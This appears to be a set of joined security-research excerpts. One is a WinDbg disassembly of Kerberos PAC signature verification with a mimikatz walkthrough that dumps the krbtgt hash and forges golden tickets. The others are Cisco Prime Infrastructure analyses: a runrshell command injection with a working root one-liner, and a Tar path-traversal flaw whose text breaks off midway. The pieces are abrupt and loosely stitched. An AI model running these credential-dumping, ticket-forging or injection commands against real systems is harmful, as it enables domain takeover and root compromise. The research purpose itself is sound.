63a8913a 8bca            mov     ecx,edx
63a8913c 83e103          and     ecx,3
63a8913f f3aa            rep stos byte ptr es:[edi]
63a89141 e810e5ffff      call    KDCSVC!PAC_ReMarshal (63a87656)
63a89146 84c0            test    al,al
63a89148 0f84d6000000    je      KDCSVC!KdcVerifyPacSignature+0x2d1 (63a89224)

KDCSVC!KdcVerifyPacSignature+0x142:
63a8914e 8d45b8          lea     eax,[ebp-48h]
63a89151 50              push    eax
63a89152 8b4598          mov     eax,dword ptr [ebp-68h]
63a89155 ff30            push    dword ptr [eax]
63a89157 e8538affff      call    KDCSVC!CDLocateCheckSum (63a81baf)
63a8915c 85c0            test    eax,eax
63a8915e 0f8ce38b0000    jl      KDCSVC!KdcVerifyPacSignature+0x224 (63a91d47)

KDCSVC!KdcVerifyPacSignature+0x158:
63a89164 8b55b8          mov     edx,dword ptr [ebp-48h]
63a89167 837a0414        cmp     dword ptr [edx+4],14h // DEBUG HERE IS THE ORIGINAL PATCH
63a8916b 0f87138c0000    ja      KDCSVC!KdcVerifyPacSignature+0x261 (63a91d84)

KDCSVC!KdcVerifyPacSignature+0x165:
63a89171 8b4a20          mov     ecx,dword ptr [edx+20h]
63a89174 85c9            test    ecx,ecx
63a89176 8d45b4          lea     eax,[ebp-4Ch]
63a89179 50              push    eax
63a8917a 6a11            push    11h
63a8917c 0f857e8b0000    jne     KDCSVC!KdcVerifyPacSignature+0x172 (63a91d00)

KDCSVC!KdcVerifyPacSignature+0x183:
63a89182 8b45ac          mov     eax,dword ptr [ebp-54h]
63a89185 ff7004          push    dword ptr [eax+4]
63a89188 ff7008          push    dword ptr [eax+8]
63a8918b ff521c          call    dword ptr [edx+1Ch]

KDCSVC!KdcVerifyPacSignature+0x18f:
63a8918e 85c0            test    eax,eax
63a89190 0f8cee8b0000    jl      KDCSVC!KdcVerifyPacSignature+0x261 (63a91d84)

KDCSVC!KdcVerifyPacSignature+0x197:
63a89196 ff75b0          push    dword ptr [ebp-50h]
63a89199 8b45b8          mov     eax,dword ptr [ebp-48h]
63a8919c ff7510          push    dword ptr [ebp+10h]
63a8919f ff75b4          push    dword ptr [ebp-4Ch]
63a891a2 ff5010          call    dword ptr [eax+10h]
63a891a5 8d45d4          lea     eax,[ebp-2Ch]
63a891a8 50              push    eax
63a891a9 ff75b4          push    dword ptr [ebp-4Ch]
63a891ac 8b45b8          mov     eax,dword ptr [ebp-48h]
63a891af ff5014          call    dword ptr [eax+14h]
63a891b2 8d45b4          lea     eax,[ebp-4Ch]
63a891b5 50              push    eax
63a891b6 8b45b8          mov     eax,dword ptr [ebp-48h]
63a891b9 ff5018          call    dword ptr [eax+18h]
63a891bc 8b45b8          mov     eax,dword ptr [ebp-48h]
63a891bf 8b4804          mov     ecx,dword ptr [eax+4]
63a891c2 8b4304          mov     eax,dword ptr [ebx+4]
63a891c5 83e804          sub     eax,4
63a891c8 3bc8            cmp     ecx,eax
63a891ca 754e            jne     KDCSVC!KdcVerifyPacSignature+0x2ba (63a8921a)

KDCSVC!KdcVerifyPacSignature+0x1d1:
63a891cc 8d7de8          lea     edi,[ebp-18h]
63a891cf 8d75d4          lea     esi,[ebp-2Ch]
63a891d2 33c0            xor     eax,eax
63a891d4 f3a6            repe cmps byte ptr [esi],byte ptr es:[edi]
63a891d6 7542            jne     KDCSVC!KdcVerifyPacSignature+0x2ba (63a8921a)

KDCSVC!KdcVerifyPacSignature+0x1e1:
63a891d8 8b45a8          mov     eax,dword ptr [ebp-58h]
63a891db 817820f6010000  cmp     dword ptr [eax+20h],1F6h
63a891e2 0f852c8b0000    jne     KDCSVC!KdcVerifyPacSignature+0x1f1 (63a91d14)

KDCSVC!KdcVerifyPacSignature+0x2ee:
63a891e8 837dbc29        cmp     dword ptr [ebp-44h],29h
63a891ec 0f841e8c0000    je      KDCSVC!KdcVerifyPacSignature+0x2f4 (63a91e10)

KDCSVC!KdcVerifyPacSignature+0x340:
63a891f2 837db400        cmp     dword ptr [ebp-4Ch],0
63a891f6 5f              pop     edi
63a891f7 5e              pop     esi
63a891f8 5b              pop     ebx
63a891f9 0f85668c0000    jne     KDCSVC!KdcVerifyPacSignature+0x349 (63a91e65)

KDCSVC!KdcVerifyPacSignature+0x357:
63a891ff 8d8558ffffff    lea     eax,[ebp-0A8h]
63a89205 50              push    eax
63a89206 e8498cffff      call    KDCSVC!FreeTicketInfo (63a81e54)
63a8920b 8b4dfc          mov     ecx,dword ptr [ebp-4]
63a8920e 8b45bc          mov     eax,dword ptr [ebp-44h]
63a89211 e83f89ffff      call    KDCSVC!__security_check_cookie (63a81b55)
63a89216 c9              leave
63a89217 c21000          ret     10h

KDCSVC!KdcVerifyPacSignature+0x2ba:
63a8921a 683092a863      push    offset KDCSVC!`string' (63a89230)
63a8921f e9bb8b0000      jmp     KDCSVC!KdcVerifyPacSignature+0x2bf (63a91ddf)

KDCSVC!KdcVerifyPacSignature+0x2d1:
63a89224 c745bc3c000000  mov     dword ptr [ebp-44h],3Ch
63a8922b e9c18b0000      jmp     KDCSVC!KdcVerifyPacSignature+0x2d8 (63a91df1)

KDCSVC!KdcVerifyPacSignature+0x72:
63a91cf5 50              push    eax
63a91cf6 e884120100      call    KDCSVC!KerbMapKerbError (63aa2f7f)
63a91cfb e9f1000000      jmp     KDCSVC!KdcVerifyPacSignature+0x2d8 (63a91df1)

KDCSVC!KdcVerifyPacSignature+0x172:
63a91d00 8d45e8          lea     eax,[ebp-18h]
63a91d03 50              push    eax
63a91d04 8b45ac          mov     eax,dword ptr [ebp-54h]
63a91d07 ff7004          push    dword ptr [eax+4]
63a91d0a ff7008          push    dword ptr [eax+8]
63a91d0d ffd1            call    ecx
63a91d0f e97a74ffff      jmp     KDCSVC!KdcVerifyPacSignature+0x18f (63a8918e)

KDCSVC!KdcVerifyPacSignature+0x1f1:
63a91d14 f6401c40        test    byte ptr [eax+1Ch],40h
63a91d18 0f85ca74ffff    jne     KDCSVC!KdcVerifyPacSignature+0x2ee (63a891e8)

KDCSVC!KdcVerifyPacSignature+0x1fb:
63a91d1e 687bffffff      push    0FFFFFF7Bh
63a91d23 ff7584          push    dword ptr [ebp-7Ch]
63a91d26 e848fefeff      call    KDCSVC!KerbGetKeyFromList (63a81b73)
63a91d2b 8bf0            mov     esi,eax
63a91d2d 85f6            test    esi,esi
63a91d2f 0f84b374ffff    je      KDCSVC!KdcVerifyPacSignature+0x2ee (63a891e8)

KDCSVC!KdcVerifyPacSignature+0x212:
63a91d35 8d45b8          lea     eax,[ebp-48h]
63a91d38 50              push    eax
63a91d39 8b45a0          mov     eax,dword ptr [ebp-60h]
63a91d3c ff30            push    dword ptr [eax]
63a91d3e e86cfefeff      call    KDCSVC!CDLocateCheckSum (63a81baf)
63a91d43 85c0            test    eax,eax
63a91d45 7d0c            jge     KDCSVC!KdcVerifyPacSignature+0x230 (63a91d53)

KDCSVC!KdcVerifyPacSignature+0x224:
63a91d47 c745bc0f000000  mov     dword ptr [ebp-44h],0Fh
63a91d4e e99f74ffff      jmp     KDCSVC!KdcVerifyPacSignature+0x340 (63a891f2)

KDCSVC!KdcVerifyPacSignature+0x230:
63a91d53 8b45b8          mov     eax,dword ptr [ebp-48h]
63a91d56 8b4820          mov     ecx,dword ptr [eax+20h]
63a91d59 85c9            test    ecx,ecx
63a91d5b 7414            je      KDCSVC!KdcVerifyPacSignature+0x24e (63a91d71)

KDCSVC!KdcVerifyPacSignature+0x23a:
63a91d5d 8d45b4          lea     eax,[ebp-4Ch]
63a91d60 50              push    eax
63a91d61 6a11            push    11h
63a91d63 8d45c0          lea     eax,[ebp-40h]
63a91d66 50              push    eax
63a91d67 ff7604          push    dword ptr [esi+4]
63a91d6a ff7608          push    dword ptr [esi+8]
63a91d6d ffd1            call    ecx
63a91d6f eb0f            jmp     KDCSVC!KdcVerifyPacSignature+0x25d (63a91d80)

KDCSVC!KdcVerifyPacSignature+0x24e:
63a91d71 8d4db4          lea     ecx,[ebp-4Ch]
63a91d74 51              push    ecx
63a91d75 6a11            push    11h
63a91d77 ff7604          push    dword ptr [esi+4]
63a91d7a ff7608          push    dword ptr [esi+8]
63a91d7d ff501c          call    dword ptr [eax+1Ch]

KDCSVC!KdcVerifyPacSignature+0x25d:
63a91d80 85c0            test    eax,eax
63a91d82 7d0c            jge     KDCSVC!KdcVerifyPacSignature+0x26d (63a91d90)

KDCSVC!KdcVerifyPacSignature+0x261:
63a91d84 c745bc3c000000  mov     dword ptr [ebp-44h],3Ch
63a91d8b e96274ffff      jmp     KDCSVC!KdcVerifyPacSignature+0x340 (63a891f2)

KDCSVC!KdcVerifyPacSignature+0x26d:
63a91d90 8d45e8          lea     eax,[ebp-18h]
63a91d93 50              push    eax
63a91d94 8b45b8          mov     eax,dword ptr [ebp-48h]
63a91d97 ff7004          push    dword ptr [eax+4]
63a91d9a ff75b4          push    dword ptr [ebp-4Ch]
63a91d9d ff5010          call    dword ptr [eax+10h]
63a91da0 8d45d4          lea     eax,[ebp-2Ch]
63a91da3 50              push    eax
63a91da4 ff75b4          push    dword ptr [ebp-4Ch]
63a91da7 8b45b8          mov     eax,dword ptr [ebp-48h]
63a91daa ff5014          call    dword ptr [eax+14h]
63a91dad 8d45b4          lea     eax,[ebp-4Ch]
63a91db0 50              push    eax
63a91db1 8b45b8          mov     eax,dword ptr [ebp-48h]
63a91db4 ff5018          call    dword ptr [eax+18h]
63a91db7 8b45b8          mov     eax,dword ptr [ebp-48h]
63a91dba 8b4804          mov     ecx,dword ptr [eax+4]
63a91dbd 8b459c          mov     eax,dword ptr [ebp-64h]
63a91dc0 8b4004          mov     eax,dword ptr [eax+4]
63a91dc3 83e804          sub     eax,4
63a91dc6 3bc8            cmp     ecx,eax
63a91dc8 7510            jne     KDCSVC!KdcVerifyPacSignature+0x2b3 (63a91dda)

KDCSVC!KdcVerifyPacSignature+0x2a7:
63a91dca 8d7dc0          lea     edi,[ebp-40h]
63a91dcd 8d75d4          lea     esi,[ebp-2Ch]
63a91dd0 33c0            xor     eax,eax
63a91dd2 f3a6            repe cmps byte ptr [esi],byte ptr es:[edi]
63a91dd4 0f840e74ffff    je      KDCSVC!KdcVerifyPacSignature+0x2ee (63a891e8)

KDCSVC!KdcVerifyPacSignature+0x2b3:
63a91dda 687c1ea963      push    offset KDCSVC!`string' (63a91e7c)

KDCSVC!KdcVerifyPacSignature+0x2bf:
63a91ddf 6a01            push    1
63a91de1 e89d1effff      call    KDCSVC!KDCDebugPrint (63a83c83)
63a91de6 59              pop     ecx
63a91de7 59              pop     ecx
63a91de8 c745bc29000000  mov     dword ptr [ebp-44h],29h
63a91def eb1f            jmp     KDCSVC!KdcVerifyPacSignature+0x2f4 (63a91e10)

KDCSVC!KdcVerifyPacSignature+0x2d8:
63a91df1 ff7510          push    dword ptr [ebp+10h]
63a91df4 ff75b0          push    dword ptr [ebp-50h]
63a91df7 e85a58ffff      call    KDCSVC!PAC_ReMarshal (63a87656)
63a91dfc 84c0            test    al,al
63a91dfe 0f85e473ffff    jne     KDCSVC!KdcVerifyPacSignature+0x2ee (63a891e8)

KDCSVC!KdcVerifyPacSignature+0x2e7:
63a91e04 c745bc3c000000  mov     dword ptr [ebp-44h],3Ch
63a91e0b e9d873ffff      jmp     KDCSVC!KdcVerifyPacSignature+0x2ee (63a891e8)

KDCSVC!KdcVerifyPacSignature+0x2f4:
63a91e10 8b75a8          mov     esi,dword ptr [ebp-58h]
63a91e13 0fb706          movzx   eax,word ptr [esi]
63a91e16 40              inc     eax
63a91e17 40              inc     eax
63a91e18 50              push    eax
63a91e19 e84301ffff      call    KDCSVC!MIDL_user_allocate (63a81f61)
63a91e1e 8bd8            mov     ebx,eax
63a91e20 85db            test    ebx,ebx
63a91e22 7416            je      KDCSVC!KdcVerifyPacSignature+0x31e (63a91e3a)

KDCSVC!KdcVerifyPacSignature+0x308:
63a91e24 0fb70e          movzx   ecx,word ptr [esi]
63a91e27 8b7604          mov     esi,dword ptr [esi+4]
63a91e2a 8bc1            mov     eax,ecx
63a91e2c c1e902          shr     ecx,2
63a91e2f 8bfb            mov     edi,ebx
63a91e31 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
63a91e33 8bc8            mov     ecx,eax
63a91e35 83e103          and     ecx,3
63a91e38 f3a4            rep movs byte ptr es:[edi],byte ptr [esi]

KDCSVC!KdcVerifyPacSignature+0x31e:
63a91e3a 53              push    ebx
63a91e3b 6a01            push    1
63a91e3d 8d45bc          lea     eax,[ebp-44h]
63a91e40 50              push    eax
63a91e41 6a04            push    4
63a91e43 68120000c0      push    0C0000012h
63a91e48 6a01            push    1
63a91e4a e8aa550000      call    KDCSVC!ReportServiceEvent (63a973f9)
63a91e4f 83c418          add     esp,18h
63a91e52 85db            test    ebx,ebx
63a91e54 0f849873ffff    je      KDCSVC!KdcVerifyPacSignature+0x340 (63a891f2)

KDCSVC!KdcVerifyPacSignature+0x33a:
63a91e5a 53              push    ebx
63a91e5b e84700ffff      call    KDCSVC!MIDL_user_free (63a81ea7)
63a91e60 e98d73ffff      jmp     KDCSVC!KdcVerifyPacSignature+0x340 (63a891f2)

KDCSVC!KdcVerifyPacSignature+0x349:
63a91e65 8b45b8          mov     eax,dword ptr [ebp-48h]
63a91e68 85c0            test    eax,eax
63a91e6a 0f848f73ffff    je      KDCSVC!KdcVerifyPacSignature+0x357 (63a891ff)

KDCSVC!KdcVerifyPacSignature+0x350:
63a91e70 8d4db4          lea     ecx,[ebp-4Ch]
63a91e73 51              push    ecx
63a91e74 ff5018          call    dword ptr [eax+18h]
63a91e77 e98373ffff      jmp     KDCSVC!KdcVerifyPacSignature+0x357 (63a891ff)

[*] Golden attack:

(1) From the AD:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : SMALLBUSINESS / S-1-5-21-1053798420-2132824579-2427655443

RID  : 000001f6 (502)
User : krbtgt

 * Primary
    LM   :
    NTLM : 6375ac5dba2a03b83002ba6e6e96c547 <-- it is what we need!

 * WDigest
    01  bf816f365e0fac18a06269b62fdec3cd
    02  60bcd5b31db779bee316ead3f9f2bdc5
    03  052450bedad3c62b6c7ac2e0518cced6
    04  bf816f365e0fac18a06269b62fdec3cd
    05  60bcd5b31db779bee316ead3f9f2bdc5
    06  6b46611bab1bfc37642831eb4c378a3c
    07  bf816f365e0fac18a06269b62fdec3cd
    08  36d36b240d95960b3280c17f3dbdd4ef
    09  36d36b240d95960b3280c17f3dbdd4ef
    10  7700dc3feea8de94dfe42fadd189b562
    11  cf5dd5487a5bf52ddb92114e11b35258
    12  36d36b240d95960b3280c17f3dbdd4ef
    13  85c06a5e70ebb4ea9ea94ec741afc3f4
    14  cf5dd5487a5bf52ddb92114e11b35258
    15  9e215c82295f151f068a61dcfc25df79
    16  9e215c82295f151f068a61dcfc25df79
    17  2bbe05a083dd57a8db17231355da9ef5
    18  d66e91d4fcd16a0e98c16bec14676e06
    19  63381fd3a292e6d6c89ced1f6b14e580
    20  111ef3e25e5237fea3190ae4924c981c
    21  68c6af34d37db9eeed0e32540f60fe3a
    22  68c6af34d37db9eeed0e32540f60fe3a
    23  207d5247bd7dac0b5100035d0d6ffb6d
    24  5db537f6bfc59059821180dc06e18696
    25  5db537f6bfc59059821180dc06e18696
    26  f8247c1ccff30ab886e699e401c98241
    27  03ddbc3697b4eac454c5c8a5746c4165
    28  98b8c45c30f3eb9727de422e2ff11429
    29  72fed805b12f04991c8326e8664f909f

 * Kerberos
    Default Salt : SMALLBUSINESS.LOCALkrbtgt
    Credentials
      des_cbc_md5       : 497f68d05db65be0
      des_cbc_crc       : 497f68d05db65be0

6375ac5dba2a03b83002ba6e6e96c547

(2) From the machine we’re attacking (user juan):

kerberos::golden /domain:SMALLBUSINESS.local /sid:S-1-5-21-1053798420-2132824579-2427655443 /user:juan /id:1116 /groups:513,500 /krbtgt:6375ac5dba2a03b83002ba6e6e96c547

That’s all.

I think the idea is similar to the golden attac, but hopefully we don’t need the
krbtgt key anymore. Even when I can modify the SignatureType, and create RC4
encrypted tickets with different signautres. The key is needed still to encrypt
a ticket.

So, by modifying mimikatz I can easily create different “malformed tickets”. Even
when I can switch the signature mekanism I neeed the krbtgt hash to encrypt the
TGT ticket.

(Hash for DES)

kerberos::golden /domain:SMALLBUSINESS.local /sid:S-1-5-21-1053798420-2132824579-2427655443 /user:juan /id:1116 /groups:513,500 /krbtgt:497f68d05db65be0
  • To check the signature used by ValidationInfo I’m using the next breakoint:
bp 63a89167 "r edx; dd edx L1; kb 4; g"
1
Technical Analysis

Background

Cisco Prime Infrastructure (CPI) is a wired and wireless network management software suite that consists of different networking applications from Cisco Systems. The system is used across various industries, from healthcare, manufacturing, government, IT, etc.

A vulnerability was found in the runrshell binary, which would allow a local user to gain control under the context of root. It is also chained by other publicly known CPI remote exploits to get root in one shot, such as CVE-2018-15379 by Pedro Ribeiro, and CVE-2019-1821 by Steven Seeley.

As of now, there appears to be no patch from Cisco.

System Setup

All versions of Cisco Prime Infrastructure should be affected by this. In order to set up a machine for testing purposes, you want to at least prepare the following:

  • 4 CPU cores.
  • 12288 MB of RAM (12 GB)
  • 350 GB of space.

Technical Details

The runrshell binary in Cisco Prime Infrastructure is rather a small C program, which looks like this in IDA:

.text:0000000000400634 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400634                 public main
.text:0000000000400634 main            proc near               ; DATA XREF: _start+1D↑o
.text:0000000000400634
.text:0000000000400634 var_820         = qword ptr -820h
.text:0000000000400634 var_814         = dword ptr -814h
.text:0000000000400634 dest            = byte ptr -810h
.text:0000000000400634 var_10          = dword ptr -10h
.text:0000000000400634 var_4           = dword ptr -4
.text:0000000000400634
.text:0000000000400634                 push    rbp
.text:0000000000400635                 mov     rbp, rsp
.text:0000000000400638                 sub     rsp, 820h
.text:000000000040063F                 mov     [rbp+var_814], edi
.text:0000000000400645                 mov     [rbp+var_820], rsi
.text:000000000040064C                 mov     edi, 0          ; uid
.text:0000000000400651                 call    _setuid
.text:0000000000400656                 mov     edi, 0          ; gid
.text:000000000040065B                 call    _setgid
.text:0000000000400660                 mov     edx, 1          ; replace
.text:0000000000400665                 mov     esi, offset value ; "/opt/CSCOlumos/rcmds"
.text:000000000040066A                 mov     edi, offset name ; "PATH"
.text:000000000040066F                 call    _setenv
.text:0000000000400674                 mov     ecx, offset aBinBashRC ; "/bin/bash -r -c \""
.text:0000000000400679                 lea     rax, [rbp+dest]
.text:0000000000400680                 mov     edx, 12h        ; n
.text:0000000000400685                 mov     rsi, rcx        ; src
.text:0000000000400688                 mov     rdi, rax        ; dest
.text:000000000040068B                 call    _memcpy
.text:0000000000400690                 mov     [rbp+var_4], 0
.text:0000000000400697                 mov     [rbp+var_4], 1
.text:000000000040069E                 jmp     short loc_4006E3
.text:00000000004006A0 ; ---------------------------------------------------------------------------
.text:00000000004006A0
.text:00000000004006A0 loc_4006A0:                             ; CODE XREF: main+BB↓j
.text:00000000004006A0                 mov     eax, [rbp+var_4]
.text:00000000004006A3                 cdqe
.text:00000000004006A5                 shl     rax, 3
.text:00000000004006A9                 add     rax, [rbp+var_820]
.text:00000000004006B0                 mov     rax, [rax]
.text:00000000004006B3                 mov     rdx, rax
.text:00000000004006B6                 lea     rax, [rbp+dest]
.text:00000000004006BD                 mov     rsi, rdx        ; src
.text:00000000004006C0                 mov     rdi, rax        ; dest
.text:00000000004006C3                 call    _strcat
.text:00000000004006C8                 mov     edx, offset src ; " "
.text:00000000004006CD                 lea     rax, [rbp+dest]
.text:00000000004006D4                 mov     rsi, rdx        ; src
.text:00000000004006D7                 mov     rdi, rax        ; dest
.text:00000000004006DA                 call    _strcat
.text:00000000004006DF                 add     [rbp+var_4], 1
.text:00000000004006E3
.text:00000000004006E3 loc_4006E3:                             ; CODE XREF: main+6A↑j
.text:00000000004006E3                 mov     eax, [rbp+var_814]
.text:00000000004006E9                 sub     eax, 1
.text:00000000004006EC                 cmp     eax, [rbp+var_4]
.text:00000000004006EF                 jge     short loc_4006A0
.text:00000000004006F1                 mov     edx, offset asc_400856 ; "\""
.text:00000000004006F6                 lea     rax, [rbp+dest]
.text:00000000004006FD                 mov     rsi, rdx        ; src
.text:0000000000400700                 mov     rdi, rax        ; dest
.text:0000000000400703                 call    _strcat
.text:0000000000400708                 lea     rax, [rbp+dest]
.text:000000000040070F                 mov     rdi, rax        ; command
.text:0000000000400712                 call    _system
.text:0000000000400717                 mov     [rbp+var_10], 0
.text:000000000040071E                 mov     [rbp+var_10], eax
.text:0000000000400721                 mov     eax, [rbp+var_10]
.text:0000000000400724                 and     eax, 0FF00h
.text:0000000000400729                 sar     eax, 8
.text:000000000040072C                 leave
.text:000000000040072D                 retn
.text:000000000040072D main            endp

We can see that initially, the binary wants to be run as root:

mov     [rbp+var_814], edi
mov     [rbp+var_820], rsi
mov     edi, 0          ; uid
call    _setuid
mov     edi, 0          ; gid
call    _setgid

The next thing that happens is, it tries to set the PATH environment variable to a specific path, which intends to limit what the user can execute:

mov     edx, 1          ; replace
mov     esi, offset value ; "/opt/CSCOlumos/rcmds"
mov     edi, offset name ; "PATH"
call    _setenv

Not only that, the program also wants to spawn a restricted shell, probably trying to guard the PATH variable being changed, plus other protections.

mov     ecx, offset aBinBashRC ; "/bin/bash -r -c \""
lea     rax, [rbp+dest]
mov     edx, 12h        ; n
mov     rsi, rcx        ; src
mov     rdi, rax        ; dest
call    _memcpy

However, all this falls apart when the program uses system() to execute the command, with the user having control of the dest argument, allowing command injection:

mov     edx, offset asc_400856 ; "\""
lea     rax, [rbp+dest]
mov     rsi, rdx        ; src
mov     rdi, rax        ; dest
call    _strcat
lea     rax, [rbp+dest]
mov     rdi, rax        ; command
call    _system

As a result, we can still execute arbitrary commands with runrshell:

ade # id   
uid=500(admin) gid=110(gadmin) groups=110(gadmin) context=unconfined_u:system_r:unconfined_t:s0-s0:c0.c1023
ade # /opt/CSCOlumos/bin/runrshell '" && /usr/bin/id #'
uid=0(root) gid=0(root) groups=0(root),110(gadmin) context=unconfined_u:system_r:unconfined_t:s0-s0:c0.c1023
ade # 
1
Technical Analysis

Description

Cisco Prime Infrastructure (CPI) is a wired and wireless network management software suite that consists of different networking applications from Cisco Systems. The system is used across various industries, from healthcare, manufacturing, government, IT, etc.

A vulnerability was found in the HealthMonitor component, specifically the TarArchive class that is used to extract a Tar file. An unauthenticated user can upload a Tar file that embeds a malicious JSP payload, with a path that traverses back to the web directory. After extraction, the user can send a GET request to trigger the JSP payload, and gain arbitrary remote code execution.

It was originally discovered by Steven Seeley (mr_me) of Source Incite. A detailed write-up is also available here.

Vulnerable Setup

To trigger this vulnerability, you will need a primary and a secondary server (from the same ISO). Both images require the same hardware setup:

  • 4 CPU cores.
  • 12288 MB of RAM (12 GB).
  • 350GB of space.
  • Both VMs should be on the same network.

Make sure the primary server is installed first. To actually recreate the specific vulnerable environment the exploit needs, you will need to install the PI_3_4_1-1.0.27.ubf patch (56a2acbcf31ad7c238241f701897fcb1). Also, create an authentication key, which is completely arbitrary, just like a password. And finally, check with iptables and make sure port 80 isn’t blocked if that’s the case:

The next VM is the secondary server. The installation is almost the same way, except that you just need to remember to choose you’re installing it as a secondary. The setup wizard will ask you the authentication key, and the rest is easy.

For the final step, go to the primary server’s administration page, and establish the HA connection to the secondary server.

Vulnerability Details

Our vulnerability started off with a public report from Source Incite (SRC-2019-0034), which provides the important details about the issue:

The specific flaw exists within the TarArchive class. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. A (remote) attacker can leverage this vulnerability to execute code under the context of root.

After obtaining the vulnerable software and setting it up (thanks to Steven), and SSH into the machine, we start looking for our first clue: the TarArchive class.

After browsing around the file system, it looks like most of the CPI code can be found in the /opt/CSCOlumos/ directory. That is where we want to begin.

Starting Point: Tar Extraction

At first glance, it isn’t very clear how or where the TarArchive class is used, so our first attempt is do a grep for TarArchive, and these results come up:

$ grep -R TarArchive *
Binary file compliance/lib/commons-compress-1.8.jar matches
Binary file compliance/lib/IAClasses.zip matches
Binary file lib/pf_third_party/com.cisco.xmp.osgi.tar-2.5.jar matches
Binary file lib/xmp-third-party/xdi-2.0.0.jar matches
Binary file lib/ifm_third_party/commons-compress-1.9.jar matches
Binary file staging/pf/com.cisco.xmp.osgi.tar-2.5.jar matches
Binary file staging/ifm/commons-compress-1.9.jar matches
Binary file staging/ifm/compliance-11-zip.zip matches

By going through a few of these with some guesses using a Java decompiler, we found the actual file that contains TarArchive.class:

/opt/CSCOlumos/lib/pf_third_party/com.cisco.xmp.osgi.tar-2.5.jar

As the path implies, TarArchive is really just a third party library, so we also need to learn which Cisco component is using it. This isn’t difficult to figure out. In java, in order to use a library, you must import it first. Back in the jar file, we know that the TarArchive class is in the com.ice.tar package, so again, let’s grep for that:

$ grep -iR "ice.tar" *
Binary file pf/rfm-3.4.0.0.348.jar matches
Binary file pf_third_party/com.cisco.xmp.osgi.tar-2.5.jar matches
Binary file xmp-third-party/xdi-2.0.0.jar matches

Going through these files, the rfm-3.4.0.0.348.jar seems to be an ideal choice, because there is another class called FileArchiver, which uses the TarArchive.

The FileArchiver class has a method called extractArchive, this definitely stands out because our vulnerability is about unsafely extracting a Tar. This isn’t a big method, and it doesn’t take too long to realize that there are only two important lines of code:

if (destDir != null) {
  try {
    setupReadArchive(istream);
    this.archive.extractContents(destDir);
    result = true;
  }
  ...

So let’s take a look at setupReadArchive first. It looks like the most important purpose of this method is really to load our Tar file as an InputStream, and load it with TarArchive in this.archive:

private boolean setupReadArchive(InputStream istream) throws IOException {
  if (this.archiveName != null && istream == null) {
    try {
      this.inStream = new FileInputStream(this.archiveName);
    }
    catch (IOException ex) {

      this.inStream = null;
      return false;
    } 
  } else {

    this.inStream = istream;
  }  if (this.inStream != null) {
    if (this.compressed) {
      try {
        this.inStream = new GZIPInputStream(this.inStream);
      }
      catch (IOException ex) {

        this.inStream = null;
      } 

      if (this.inStream != null) {
        this.archive = new TarArchive(this.inStream, '');
      }
    } else {
      this.archive = new TarArchive(this.inStream, '');
    } 
  }
  ...

The next task is calling TarArchive’s extractContents method, which is really more like a wrapper for the extractEntry method, so we look at that instead:

private void extractEntry(File paramFile, TarEntry paramTarEntry) throws IOException { if (this.verbose && this.progressDisplay != null)
    this.progressDisplay.showTarProgressMessage(paramTarEntry.getName()); 
  String str = paramTarEntry.getName();
  str = str.replace('/', File.separatorChar);
  File file = new File(paramFile, str);
  if (paramTarEntry.isDirectory()) {
    if (!file.exists() && !file.mkdirs())
      throw new IOException("error making directory path '" + file.getPath() + "'"); 
  } else {
    File file1 = new File(file.getParent());
    if (!file1.exists() && !file1.mkdirs())
      throw new IOException("error making directory path '" + file1.getPath() + "'"); 
    if (this.keepOldFiles && file.exists()) {
      if (this.verbose && this.progressDisplay != null)
        this.progressDisplay.showTarProgressMessage("not overwriting " + paramTarEntry.getName()); 
    } else {
      boolean bool = false;
      FileOutputStream fileOutputStream = new FileOutputStream(file);
      if (this.asciiTranslate) {
        MimeType mimeType = null;
        String str1 = null;
        try {
          str1 = FileTypeMap.getDefaultFileTypeMap().getContentType(file);
          mimeType = new MimeType(str1);
          if (mimeType.getPrimaryType().equalsIgnoreCase("text")) {
            bool = true;
          } else if (this.transTyper != null && this.transTyper.isAsciiFile(paramTarEntry.getName())) {
            bool = true;
          } 
        } catch (MimeTypeParseException mimeTypeParseException) {}
        if (this.debug)
          System.err.println("EXTRACT TRANS? '" + bool + "'  ContentType='" + str1 + "'  PrimaryType='" + mimeType.getPrimaryType() + "'"); 
      } 
      PrintWriter printWriter = null;
      if (bool)
        printWriter = new PrintWriter(fileOutputStream); 
      byte[] arrayOfByte = new byte[32768];
      while (true) {
        int i = this.tarIn.read(arrayOfByte);
        if (i == -1)
          break; 
        if (bool) {
          byte b1 = 0;
          for (byte b2 = 0; b2 < i; b2++) {
            if (arrayOfByte[b2] == 10) {
              String str1 = new String(arrayOfByte, b1, b2 - b1);
              printWriter.println(str1);
              b1 = b2 + 1;
            } 
          } 
          continue;
        } 
        fileOutputStream.write(arrayOfByte, 0, i);
      } 
      if (bool) {
        printWriter.close();
      } else {
        fileOutputStream.close();
      } 
    } 
  }  }

The code is a bit thick, but there are some important lines to point out. In the beginning, the first argument of the method is actually the destination directory, which is passed to create a new File object, along with a name extracted from the Tar entry:

String str = paramTarEntry.getName();
str = str.replace('/', File.separatorChar);
File file = new File(paramFile, str);

Physically, a Tar archive may have multiple entries, each describing a file. So the first line above pretty much says: “give me the name of this entry”. Since this goes to the File object, it is actually where the directory traversal bug is, because that name isn’t checked.

The File object then is passed to FileOutputStream, all the way to writing it, and closing the handle:

FileOutputStream fileOutputStream = new FileOutputStream(file);
...
PrintWriter printWriter = null;
if (bool)
  printWriter = new PrintWriter(fileOutputStream); 
byte[] arrayOfByte = new byte[32768];
while (true) {
  int i = this.tarIn.read(arrayOfByte);
  if (i == -1)
    break; 
  if (bool) {
    byte b1 = 0;
    for (byte b2 = 0; b2 < i; b2++) {
      if (arrayOfByte[b2] == 10) {
        String str1 = new String(arrayOfByte, b1, b2 - b1);
        printWriter.println(str1);
        b1 = b2 + 1;
      } 
    } 
    continue;
  } 
  fileOutputStream.write(arrayOfByte, 0, i);
}
...

At this point, we have proof that TarArchive’s extraction feature is unsafe, the next thing we want to find out is how to actually trigger it remotely.

Attacker’s Entry Point: UploadServlet Class

We know that there is a wrapper class called FileArchive that is using TarArchive. The question to ask is: what is using FileArchive? Well, since the FileArchive class has this unique method named extractArchive, the educated guess here is that if there’s any code using it, they would be calling extractArchive.

Searching around that particular string in the decompiler, four results show up:

  • FileArchiver.class
  • FileConsumer.class
  • FileExtractor.class
  • UploadServlet.class

